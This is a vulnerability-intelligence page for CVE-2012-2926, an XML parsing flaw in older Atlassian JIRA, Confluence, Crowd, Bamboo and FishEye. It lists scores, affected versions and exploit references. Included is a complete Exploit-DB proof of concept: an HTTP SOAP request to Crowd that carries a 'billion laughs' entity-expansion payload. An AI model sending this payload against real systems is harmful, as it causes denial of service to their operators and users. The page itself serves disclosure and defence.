VIR Vulnerability Intelligence Relay

CVE-2012-2926

critical
Published 2012-05-22 · Modified 2026-04-29
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CVSS v3
9.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Atlassian JIRA before 5.0.1; Confluence before 3.5.16, 4.0 before 4.0.7, and 4.1 before 4.1.10; FishEye and Crucible before 2.5.8, 2.6 before 2.6.8, and 2.7 before 2.7.12; Bamboo before 3.3.4 and 3.4.x before 3.4.5; and Crowd before 2.0.9, 2.1 before 2.1.2, 2.2 before 2.2.9, 2.3 before 2.3.7, and 2.4 before 2.4.1 do not properly restrict the capabilities of third-party XML parsers, which allows remote attackers to read arbitrary files or cause a denial of service (resource consumption) via unspecified vectors.

Predictions

Exploit likelihood
94%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37218 dos jsp verified text · 2 KB
anonymous · 2012-05-17

Atlassian Tempo 6.4.3 / JIRA 5.0.0 / Gliffy 3.7.0 - XML Parsing Denial of Service

text exploit Source: Exploit-DB 
source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable. 

POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateApplication>
         <urn:in0>
            <aut:credential>
               <aut:credential>stuff1</aut:credential>
               <aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
            </aut:credential>
            <aut:name>stuff3</aut:name>
            <aut:validationFactors>
               <aut:ValidationFactor>
                  <aut:name>stuff4</aut:name>
                  <aut:value>stuff5</aut:value>
               </aut:ValidationFactor>
            </aut:validationFactors>
         </urn:in0>
      </urn:authenticateApplication>
   </soapenv:Body>
</soapenv:Envelope>

Metasploit modules

auxiliary_scanner/http/atlassian_crowd_fileaccess rank 300
Atlassian Crowd XML Entity Expansion Remote File Access
Source fetch failed: fetch_error — view the original via the link above.

Application impact
VendorProductVersionsFixed
atlassianbamboo{"endExcluding":"3.3.4"}3.3.4
atlassianconfluence{"endExcluding":"3.5.16"}3.5.16
atlassianconfluence_server{"startIncluding":"4.0","endExcluding":"4.0.7"}4.0.7
atlassiancrowd{"endExcluding":"2.0.9"}2.0.9
atlassiancrucible{"endExcluding":"2.5.8"}2.5.8
atlassianfisheye{"endExcluding":"2.5.8"}2.5.8
atlassianjira{"endExcluding":"5.0.1"}5.0.1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.